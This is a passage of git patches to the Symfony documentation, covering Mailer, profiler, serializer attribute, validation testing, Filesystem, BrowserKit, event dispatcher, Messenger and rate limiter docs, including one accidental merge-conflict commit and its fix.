 declaration

---
 components/filesystem.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 46c88d73d7d..a56ed09da0b 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -214,9 +214,7 @@ systems (unlike PHP's :phpfunction:`readlink` function)::
 
 Its behavior is the following::
 
-    public function readlink($path, $canonicalize = false)
-
-* When ``$canonicalize`` is ``false``:
+* When ``$canonicalize`` is ``false`` (the default value):
     * if ``$path`` does not exist or is not a link, it returns ``null``.
     * if ``$path`` is a link, it returns the next direct target of the link without considering the existence of the target.
 

From 7fddf4d0f97fd4c1eebbd3091ad7fd224fd55d05 Mon Sep 17 00:00:00 2001
From: Gassan Gousseinov <github-issues@leinertco.com>
Date: Fri, 3 Jun 2022 12:12:16 +0200
Subject: [PATCH 2182/5766] [Mailer] `max_per_second` option configurable via
 DSN

---
 mailer.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 466c2ebc65d..48e210fed79 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -272,6 +272,15 @@ Other Options
 
         $dsn = 'smtps://smtp.example.com?ping_threshold=200'
 
+``max_per_second``
+    The number of messages to send per second (0 to disable this limitation)::
+
+        $dsn = 'smtps://smtp.example.com?max_per_second=2'
+
+    .. versionadded:: 6.2
+
+        The ``max_per_second`` option was introduced in Symfony 6.2.
+
 Creating & Sending Messages
 ---------------------------
 

From 83e366a58e50428c78cabc4ec9adaed33621ae3f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Thu, 19 May 2022 22:11:47 +0200
Subject: [PATCH 2183/5766] [FrameworkBundle][HttpKernel] Document
 `collect_parameter`

---
 reference/configuration/framework.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d5ee18b0e1a..821db52837f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1298,6 +1298,24 @@ activate the data collectors manually::
 
     $profiler->enable();
 
+collect_parameter
+.................
+
+**type**: ``string`` **default**: ``null``
+
+This specifies name of query parameter, body parameter or a request attribute
+that can be used to enable or disable collection of data by the profiler
+individually for each request. If ``collect`` flag is set to ``true``,
+but the parameter exists in a request and has any value other than ``true``,
+``yes``, ``on`` or ``1``, the request data will not be collected.
+If ``collect`` flag is set to ``false``, but the parameter exists in a request
+and has value of ``true``, ``yes``, ``on`` or ``1``,
+the request data will be collected.
+
+.. versionadded:: 5.4
+
+    The `collect_parameter` was introduced in Symfony 5.4.
+
 only_exceptions
 ...............
 

From 486df684656e21f68ba85abde625bc1ee8833302 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 15:20:48 +0200
Subject: [PATCH 2184/5766] Tweaks

---
 reference/configuration/framework.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 267181cb652..d0ad9e24b77 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1312,18 +1312,20 @@ collect_parameter
 
 **type**: ``string`` **default**: ``null``
 
-This specifies name of query parameter, body parameter or a request attribute
-that can be used to enable or disable collection of data by the profiler
-individually for each request. If ``collect`` flag is set to ``true``,
-but the parameter exists in a request and has any value other than ``true``,
-``yes``, ``on`` or ``1``, the request data will not be collected.
-If ``collect`` flag is set to ``false``, but the parameter exists in a request
-and has value of ``true``, ``yes``, ``on`` or ``1``,
-the request data will be collected.
+This specifies name of a query parameter, a body parameter or a request attribute
+used to enable or disable collection of data by the profiler for each request.
+Combine it with the ``collect`` option to enable/disable the profiler on demand:
+
+* If the ``collect`` option is set to ``true`` but this parameter exists in a
+  request and has any value other than ``true``, ``yes``, ``on`` or ``1``, the
+  request data will not be collected;
+* If the ``collect`` option is set to ``false``, but this parameter exists in a
+  request and has value of ``true``, ``yes``, ``on`` or ``1``, the request data
+  will be collected.
 
 .. versionadded:: 5.4
 
-    The `collect_parameter` was introduced in Symfony 5.4.
+    The ``collect_parameter`` option was introduced in Symfony 5.4.
 
 only_exceptions
 ...............

From c35506bb309967f131c19e3308f68d2eb8a88838 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 15:22:25 +0200
Subject: [PATCH 2185/5766] Remove a versionadded directive

---
 reference/configuration/framework.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index de52bfc6c1c..f5c1c731a28 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1261,10 +1261,6 @@ Combine it with the ``collect`` option to enable/disable the profiler on demand:
   request and has value of ``true``, ``yes``, ``on`` or ``1``, the request data
   will be collected.
 
-.. versionadded:: 5.4
-
-    The ``collect_parameter`` option was introduced in Symfony 5.4.
-
 only_exceptions
 ...............
 

From e6c565b6e726c30e7a47946f4ae598bac578b074 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 15:34:59 +0200
Subject: [PATCH 2186/5766] Minor tweak

---
 validation.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/validation.rst b/validation.rst
index 87b0ee18c51..7eb6cfd47b8 100644
--- a/validation.rst
+++ b/validation.rst
@@ -25,12 +25,13 @@ install the validator before using it:
 
     $ composer require symfony/validator
     
-If your project still use annotations, ``doctrine/annotations`` is also needed:  
+If your project still uses annotations to define the validation constraints (as
+shown later in this article) you also need to install ``doctrine/annotations``:
 
 .. code-block:: terminal
 
     $ composer require doctrine/annotations
-    
+
 .. note::
 
     If your application doesn't use Symfony Flex, you might need to do some

From f464d5fa5285a342dd9c89f8fe587bd0a9f9724e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 11 Jul 2022 15:28:40 +0200
Subject: [PATCH 2187/5766] Replace annotations by attributes in Serializer and
 Controller

---
 components/property_info.rst          |  4 +--
 controller.rst                        | 12 +++-----
 reference/configuration/framework.rst |  2 +-
 serializer.rst                        | 40 +++++++++------------------
 4 files changed, 20 insertions(+), 38 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index dfd22c9d2b3..cd194ec5773 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -418,7 +418,7 @@ SerializerExtractor
 
     This extractor depends on the `symfony/serializer`_ library.
 
-Using :ref:`groups metadata <serializer-using-serialization-groups-annotations>`
+Using :ref:`groups metadata <serializer-using-serialization-groups-attributes>`
 from the :doc:`Serializer component </components/serializer>`,
 the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
 provides list information. This extractor is *not* registered automatically
@@ -436,7 +436,7 @@ with the ``property_info`` service in the Symfony Framework::
 
     // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
-   
+
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``@Ignore`` annotation is taken into account).
diff --git a/controller.rst b/controller.rst
index f5879bf6f9e..e72b45a93c5 100644
--- a/controller.rst
+++ b/controller.rst
@@ -33,9 +33,7 @@ class::
 
     class LuckyController
     {
-        /**
-         * @Route("/lucky/number/{max}", name="app_lucky_number")
-         */
+        #[Route('/lucky/number/{max}', name: 'app_lucky_number')]
         public function number(int $max): Response
         {
             $number = random_int(0, $max);
@@ -73,8 +71,8 @@ Mapping a URL to a Controller
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In order to *view* the result of this controller, you need to map a URL to it via
-a route. This was done above with the ``@Route("/lucky/number/{max}")``
-:ref:`route annotation <annotation-routes>`.
+a route. This was done above with the ``#[Route('/lucky/number/{max}')]``
+:ref:`route attribute <annotation-routes>`.
 
 To see your page, go to this URL in your browser: http://localhost:8000/lucky/number/100
 
@@ -205,9 +203,7 @@ If you need a service in a controller, type-hint an argument with its class
     use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    /**
-     * @Route("/lucky/number/{max}")
-     */
+    #[Route('/lucky/number/{max}')]
     public function number(int $max, LoggerInterface $logger): Response
     {
         $logger->info('We are logging!');
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f5c1c731a28..969454cb7fe 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2667,7 +2667,7 @@ If this option is enabled, serialization groups can be defined using annotations
 
 .. seealso::
 
-    For more information, see :ref:`serializer-using-serialization-groups-annotations`.
+    For more information, see :ref:`serializer-using-serialization-groups-attributes`.
 
 .. _reference-serializer-name_converter:
 
diff --git a/serializer.rst b/serializer.rst
index 3f9e711971e..6880811d456 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -159,16 +159,10 @@ configuration:
 
 .. _serializer-using-serialization-groups-annotations:
 
-Using Serialization Groups Annotations
---------------------------------------
+Using Serialization Groups Attributes
+-------------------------------------
 
-To use annotations, first add support for them via the SensioFrameworkExtraBundle:
-
-.. code-block:: terminal
-
-    $ composer require sensio/framework-extra-bundle
-
-Next, add the :ref:`@Groups annotations <component-serializer-attributes-groups-annotations>`
+You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-annotations>`
 to your class::
 
     // src/Entity/Product.php
@@ -177,29 +171,21 @@ to your class::
     use Doctrine\ORM\Mapping as ORM;
     use Symfony\Component\Serializer\Annotation\Groups;
 
-    /**
-     * @ORM\Entity()
-     */
+    #[ORM\Entity]
     class Product
     {
-        /**
-         * @ORM\Id
-         * @ORM\GeneratedValue
-         * @ORM\Column(type="integer")
-         * @Groups({"show_product", "list_product"})
-         */
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column(type: 'integer')]
+        #[Groups(['show_product', 'list_product'])]
         private $id;
 
-        /**
-         * @ORM\Column(type="string", length=255)
-         * @Groups({"show_product", "list_product"})
-         */
+        #[ORM\Column(type: 'string', length: 255)]
+        #[Groups(['show_product', 'list_product'])]
         private $name;
 
-        /**
-         * @ORM\Column(type="integer")
-         * @Groups({"show_product"})
-         */
+        #[ORM\Column(type: 'integer')]
+        #[Groups(['show_product'])]
         private $description;
     }
 
@@ -215,7 +201,7 @@ You can now choose which groups to use when serializing::
 
     The value of the ``groups`` key can be a single string, or an array of strings.
 
-In addition to the ``@Groups`` annotation, the Serializer component also
+In addition to the ``#[Groups]`` attribute, the Serializer component also
 supports YAML or XML files. These files are automatically loaded when being
 stored in one of the following locations:
 

From b6db179325b8578084825f01b5bee19999c7be3f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 15:45:29 +0200
Subject: [PATCH 2188/5766] Add some needed internal reference

---
 serializer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/serializer.rst b/serializer.rst
index 6880811d456..8c97a629777 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -158,6 +158,7 @@ configuration:
         };
 
 .. _serializer-using-serialization-groups-annotations:
+.. _serializer-using-serialization-groups-attributes:
 
 Using Serialization Groups Attributes
 -------------------------------------

From 7d8f0b35893d0ff038867939987d4cd8e513164f Mon Sep 17 00:00:00 2001
From: Tim Jabs <Rubinum@users.noreply.github.com>
Date: Sat, 6 Aug 2022 23:24:59 +0200
Subject: [PATCH 2189/5766] Add hint for testing custom constraints

---
 validation.rst | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/validation.rst b/validation.rst
index 27f970a701d..a83e1630ed7 100644
--- a/validation.rst
+++ b/validation.rst
@@ -801,6 +801,49 @@ You can also validate all the classes stored in a given directory:
 
     $ php bin/console debug:validator src/Entity
 
+Testing Custom Constraints
+-------------------------
+
+Since custom constraints contain meaningful logic for your application, writing tests is crucial. You can use the ``ConstraintValidatorTestCase`` to write unit tests for custom constraints:
+
+.. code-block:: php
+    class IsFalseValidatorTest extends ConstraintValidatorTestCase
+    {
+        protected function createValidator()
+        {
+            return new IsFalseValidator();
+        }
+        
+        public function testNullIsValid()
+        {
+            $this->validator->validate(null, new IsFalse());
+
+            $this->assertNoViolation();
+        }
+
+        /**
+         * @dataProvider provideInvalidConstraints
+         */
+        public function testTrueIsInvalid(IsFalse $constraint)
+        {
+            $this->validator->validate(true, $constraint);
+
+            $this->buildViolation('myMessage')
+                ->setParameter('{{ value }}', 'true')
+                ->setCode(IsFalse::NOT_FALSE_ERROR)
+                ->assertRaised();
+        }
+
+        public function provideInvalidConstraints(): iterable
+        {
+            yield 'Doctrine style' => [new IsFalse([
+                'message' => 'myMessage',
+            ])];
+            yield 'named parameters' => [new IsFalse(message: 'myMessage')];
+        }
+        
+    }
+
 Final Thoughts
 --------------
 

From 3c97aee0f186bef2c18522cab69d0f59ba1f541b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 16:24:40 +0200
Subject: [PATCH 2190/5766] Reword

---
 validation.rst                   | 43 --------------------------------
 validation/custom_constraint.rst | 43 ++++++++++++++++++++++++++++++++
 2 files changed, 43 insertions(+), 43 deletions(-)

diff --git a/validation.rst b/validation.rst
index a83e1630ed7..27f970a701d 100644
--- a/validation.rst
+++ b/validation.rst
@@ -801,49 +801,6 @@ You can also validate all the classes stored in a given directory:
 
     $ php bin/console debug:validator src/Entity
 
-Testing Custom Constraints
--------------------------
-
-Since custom constraints contain meaningful logic for your application, writing tests is crucial. You can use the ``ConstraintValidatorTestCase`` to write unit tests for custom constraints:
-
-.. code-block:: php
-    class IsFalseValidatorTest extends ConstraintValidatorTestCase
-    {
-        protected function createValidator()
-        {
-            return new IsFalseValidator();
-        }
-        
-        public function testNullIsValid()
-        {
-            $this->validator->validate(null, new IsFalse());
-
-            $this->assertNoViolation();
-        }
-
-        /**
-         * @dataProvider provideInvalidConstraints
-         */
-        public function testTrueIsInvalid(IsFalse $constraint)
-        {
-            $this->validator->validate(true, $constraint);
-
-            $this->buildViolation('myMessage')
-                ->setParameter('{{ value }}', 'true')
-                ->setCode(IsFalse::NOT_FALSE_ERROR)
-                ->assertRaised();
-        }
-
-        public function provideInvalidConstraints(): iterable
-        {
-            yield 'Doctrine style' => [new IsFalse([
-                'message' => 'myMessage',
-            ])];
-            yield 'named parameters' => [new IsFalse(message: 'myMessage')];
-        }
-        
-    }
-
 Final Thoughts
 --------------
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 7bdfcb362e4..548cad58a41 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -338,3 +338,46 @@ not to the property:
                 $metadata->addConstraint(new ProtocolClass());
             }
         }
+
+Testing Custom Constraints
+--------------------------
+
+Use the ``ConstraintValidatorTestCase`` utility to simplify the creation of
+unit tests for your custom constraints::
+
+    // ...
+    use App\Validator\ContainsAlphanumeric;
+    use App\Validator\ContainsAlphanumericValidator;
+
+    class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
+    {
+        protected function createValidator()
+        {
+            return new ContainsAlphanumericValidator();
+        }
+
+        public function testNullIsValid()
+        {
+            $this->validator->validate(null, new ContainsAlphanumeric());
+
+            $this->assertNoViolation();
+        }
+
+        /**
+         * @dataProvider provideInvalidConstraints
+         */
+        public function testTrueIsInvalid(ContainsAlphanumeric $constraint)
+        {
+            $this->validator->validate('...', $constraint);
+
+            $this->buildViolation('myMessage')
+                ->setParameter('{{ string }}', '...')
+                ->assertRaised();
+        }
+
+        public function provideInvalidConstraints(): iterable
+        {
+            yield [new ContainsAlphanumeric(message: 'myMessage')];
+            // ...
+        }
+    }

From 37106b4cbdc46001cf4bd9c2ce5cb87dbf4a29d4 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 6 Aug 2022 13:13:13 +0200
Subject: [PATCH 2191/5766] [Filesystem] Add more information about dumpFile

---
 components/filesystem.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index d99e6036a27..1466b29127d 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -300,6 +300,12 @@ complete new file (but never a partially-written file)::
 
 The ``file.txt`` file contains ``Hello World`` now.
 
+If either the file or its containing directory doesn't exist, this method
+creates them.
+
+After writing the temporary file, this method use :method:`Symfony\\Component\\Filesystem\\Filesystem::rename`
+and set the third argument to true, so if the file exists, it will be overridden and the old content inside will be lost.
+
 ``appendToFile``
 ~~~~~~~~~~~~~~~~
 

From 31a6ff18f381db9658045fba617b73b1e5bc5fb1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 16:36:56 +0200
Subject: [PATCH 2192/5766] Reword

---
 components/filesystem.rst | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index ab644b780d9..67e6c745c14 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -293,21 +293,16 @@ exception on failure::
 ~~~~~~~~~~~~
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::dumpFile` saves the given
-contents into a file. It does this in an atomic manner: it writes a temporary
-file first and then moves it to the new file location when it's finished.
-This means that the user will always see either the complete old file or
-complete new file (but never a partially-written file)::
+contents into a file (creating the file and its directory if they don't exist).
+It does this in an atomic manner: it writes a temporary file first and then moves
+it to the new file location when it's finished. This means that the user will
+always see either the complete old file or complete new file (but never a
+partially-written file)::
 
     $filesystem->dumpFile('file.txt', 'Hello World');
 
 The ``file.txt`` file contains ``Hello World`` now.
 
-If either the file or its containing directory doesn't exist, this method
-creates them.
-
-After writing the temporary file, this method use :method:`Symfony\\Component\\Filesystem\\Filesystem::rename`
-and set the third argument to true, so if the file exists, it will be overridden and the old content inside will be lost.
-
 ``appendToFile``
 ~~~~~~~~~~~~~~~~
 

From f1f5f7d86319fa170a37df2f4aaed4c1b9396098 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 16:59:43 +0200
Subject: [PATCH 2193/5766] Minor tweak

---
 components/browser_kit.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 815a42922f5..9a618d8bad2 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -331,9 +331,8 @@ Dealing with HTTP responses
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When using the BrowserKit component, you may need to deal with responses of
-the requests you made. To do so, you need to call the ``getResponse()``
-method of the ``HttpBrowser`` object. This method retrieves the last response
-the browser received::
+the requests you made. To do so, call the ``getResponse()`` method of the
+``HttpBrowser`` object. This method returns the last response the browser received::
 
     $browser = new HttpBrowser(HttpClient::create());
 

From ce6ebfb3d6caf6bf2ed21a372de3069215a77940 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Jul 2022 16:47:42 +0200
Subject: [PATCH 2194/5766] [BrowserKit] Add response management to BrowserKit
 documentation

---
 components/browser_kit.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index a2afe27c0bc..488bc44d385 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -343,12 +343,15 @@ dedicated web crawler or scraper such as `Goutte`_::
         '.table-list-header-toggle a:nth-child(1)'
     )->text());
 
+<<<<<<< HEAD
 .. tip::
 
     You can also use HTTP client options like ``ciphers``, ``auth_basic`` and
     ``query``. They have to be passed as the default options argument to the
     client which is used by the HTTP browser.
 
+=======
+>>>>>>> 4f790b856 ([BrowserKit] Add response management to BrowserKit documentation)
 Dealing with HTTP responses
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -361,6 +364,20 @@ the requests you made. To do so, call the ``getResponse()`` method of the
     $browser->request('GET', 'https://foo.com');
     $response = $browser->getResponse();
 
+If you're making requests that result in a JSON response, you may use the
+``toArray()`` method to turn the JSON document into a PHP array without having
+to call ``json_decode()`` explicitly::
+
+    $browser = new HttpBrowser(HttpClient::create());
+
+    $browser->request('GET', 'https://api.foo.com');
+    $response = $browser->getResponse()->toArray();
+    // $response is a PHP array of the decoded JSON contents
+
+.. versionadded:: 6.1
+
+    The ``toArray()`` method was introduced in Symfony 6.1.
+
 Learn more
 ----------
 

From ff5032db4047466f0f02d1f68bc8e21d64972671 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Thu, 21 Jul 2022 17:14:44 +0200
Subject: [PATCH 2195/5766] Update event_dispatcher.rst

---
 components/event_dispatcher.rst | 43 +++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 206fde3fc99..589f015c64d 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -402,6 +402,49 @@ Take the following example of a subscriber that subscribes to the
         }
     }
 
+You can also leverage the :class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
+attribute to configure your class as a listener on event::
+
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
+
+    #[AsEventListener]
+    final class MyListener
+    {
+        public function __invoke(CustomEvent $event): void
+        {
+            // ...
+        }
+    }
+
+or any of a class methods like so::
+
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
+
+    #[AsEventListener(event: CustomEvent::class, method: 'onCustomEvent')]
+    #[AsEventListener(event: 'foo', priority: 42)]
+    #[AsEventListener(event: 'bar', method: 'onBarEvent')]
+    final class MyMultiListener
+    {
+        public function onCustomEvent(CustomEvent $event): void
+        {
+            // ...
+        }
+
+        public function onFoo(): void
+        {
+            // ...
+        }
+
+        public function onBarEvent(): void
+        {
+            // ...
+        }
+    }
+
 This is very similar to a listener class, except that the class itself can
 tell the dispatcher which events it should listen to. To register a subscriber
 with the dispatcher, use the

From 460818ffa76a885963b2e9b12bd13bfab427f935 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 17:30:17 +0200
Subject: [PATCH 2196/5766] Reorganized contents

---
 components/event_dispatcher.rst | 43 -----------------------------
 event_dispatcher.rst            | 48 +++++++++++++++++++++++++++++++++
 2 files changed, 48 insertions(+), 43 deletions(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 589f015c64d..206fde3fc99 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -402,49 +402,6 @@ Take the following example of a subscriber that subscribes to the
         }
     }
 
-You can also leverage the :class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
-attribute to configure your class as a listener on event::
-
-    namespace App\EventListener;
-
-    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
-
-    #[AsEventListener]
-    final class MyListener
-    {
-        public function __invoke(CustomEvent $event): void
-        {
-            // ...
-        }
-    }
-
-or any of a class methods like so::
-
-    namespace App\EventListener;
-
-    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
-
-    #[AsEventListener(event: CustomEvent::class, method: 'onCustomEvent')]
-    #[AsEventListener(event: 'foo', priority: 42)]
-    #[AsEventListener(event: 'bar', method: 'onBarEvent')]
-    final class MyMultiListener
-    {
-        public function onCustomEvent(CustomEvent $event): void
-        {
-            // ...
-        }
-
-        public function onFoo(): void
-        {
-            // ...
-        }
-
-        public function onBarEvent(): void
-        {
-            // ...
-        }
-    }
-
 This is very similar to a listener class, except that the class itself can
 tell the dispatcher which events it should listen to. To register a subscriber
 with the dispatcher, use the
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index c8a25ac1bcd..3c6020c145d 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -134,6 +134,54 @@ listener class:
     internal Symfony listeners usually range from ``-256`` to ``256`` but your
     own listeners can use any positive or negative integer.
 
+Defining Event Listeners with PHP Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+An alternative way to define an event listener is to use the
+:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
+PHP attribute. This allows to configure the listener inside its class, without
+having to add any configuration in external files::
+
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
+
+    #[AsEventListener]
+    final class MyListener
+    {
+        public function __invoke(CustomEvent $event): void
+        {
+            // ...
+        }
+    }
+
+You can add multiple ``#[AsEventListener()]`` attributes to configure different methods::
+
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
+
+    #[AsEventListener(event: CustomEvent::class, method: 'onCustomEvent')]
+    #[AsEventListener(event: 'foo', priority: 42)]
+    #[AsEventListener(event: 'bar', method: 'onBarEvent')]
+    final class MyMultiListener
+    {
+        public function onCustomEvent(CustomEvent $event): void
+        {
+            // ...
+        }
+
+        public function onFoo(): void
+        {
+            // ...
+        }
+
+        public function onBarEvent(): void
+        {
+            // ...
+        }
+    }
+
 .. _events-subscriber:
 
 Creating an Event Subscriber

From 534e5873c2e73248a6c3cd530a59dfe6a41be322 Mon Sep 17 00:00:00 2001
From: Alexis Urien <alexis.urien@free.fr>
Date: Thu, 16 Jun 2022 15:39:20 +0200
Subject: [PATCH 2197/5766] [Messenger] Add an info about redeliver_timeout
 (doctrine)

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 65941a449f5..77c0e8bcf4e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1361,6 +1361,11 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
+
+.. note::
+
+    ``redeliver_timeout`` must be set to a greater value than your slowest message duration. Failing to do so will result in messages being started a second time while the first one is still running.
+
 .. versionadded:: 5.1
 
     The ability to leverage PostgreSQL's LISTEN/NOTIFY was introduced

From 281fda0209aa87ad4a5864c737bd07180ca71fa5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 17:42:05 +0200
Subject: [PATCH 2198/5766] Tweak

---
 messenger.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 6de16d4204e..0194b11fd11 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1361,10 +1361,11 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
-
 .. note::
 
-    ``redeliver_timeout`` must be set to a greater value than your slowest message duration. Failing to do so will result in messages being started a second time while the first one is still running.
+    Set ``redeliver_timeout`` to a greater value than your slowest message
+    duration. Otherwise, some messages will start a second time while the
+    first one is still being handled.
 
 .. versionadded:: 5.1
 

From 178a6cd6ddee1809c455df3161ebc40549f0659b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 9 Aug 2022 23:27:52 +0200
Subject: [PATCH 2199/5766] Adding info about clearing cache

I'm just *guessing* this - please double-check!
---
 rate_limiter.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 65a0243e5e8..5bebfd0efa3 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -363,11 +363,12 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 Storing Rate Limiter State
 --------------------------
 
-All rate limiter policies require to store their state(e.g. how many hits were
+All rate limiter policies require to store their state (e.g. how many hits were
 already made in the current time window). By default, all limiters use the
 ``cache.rate_limiter`` cache pool created with the :doc:`Cache component </cache>`.
+This means that every time you clear the cache, the rate limiter will be reset.
 
-Use the ``cache_pool`` option to override the cache used by a specific limiter
+You can use the ``cache_pool`` option to override the cache used by a specific limiter
 (or even :ref:`create a new cache pool <cache-create-pools>` for it):
 
 .. configuration-block::

From f5a5f6248840cc09efb48150290c7d654de4a657 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 10 Aug 2022 09:40:33 +0200
Subject: [PATCH 2200/5766] remove git conflict markers

---
 components/browser_kit.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 488bc44d385..b6cfa98d4a0 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -343,15 +343,12 @@ dedicated web crawler or scraper such as `Goutte`_::
         '.table-list-header-toggle a:nth-child(1)'
     )->text());
 
-<<<<<<< HEAD
 .. tip::
 
     You can also use HTTP client options like ``ciphers``, ``auth_basic`` and
     ``query``. They have to be passed as the default options argument to the
     client which is used by the HTTP browser.
 
-=======
->>>>>>> 4f790b856 ([BrowserKit] Add response management to BrowserKit documentation)
 Dealing with HTTP responses
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 39536a106ea7773330ee0566941f6df08f4f9d47 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 10 Aug 2022 14:33:05 +0200
Subject: [PATCH 2201/5766] Minor: Deleting link

The link text was wrong:

> See How to Write a Custom Authenticator below for a detailed look into the authentication process.
---
 security/custom_authenticator.rst | 5 ++---
